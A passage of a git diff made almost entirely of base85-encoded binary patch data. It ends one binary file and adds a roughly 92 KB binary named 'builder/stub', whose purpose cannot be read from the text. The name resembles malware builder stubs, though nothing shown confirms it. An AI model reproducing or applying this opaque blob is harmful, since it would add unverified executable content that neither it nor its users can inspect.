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 EP{geUnE(I) literal 0 HcmV?d00001 diff --git a/builder/stub b/builder/stub new file mode 100644 index 0000000000000000000000000000000000000000..d08121738427530e4d6414eea9594e84739e21dd GIT binary patch literal 92672 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 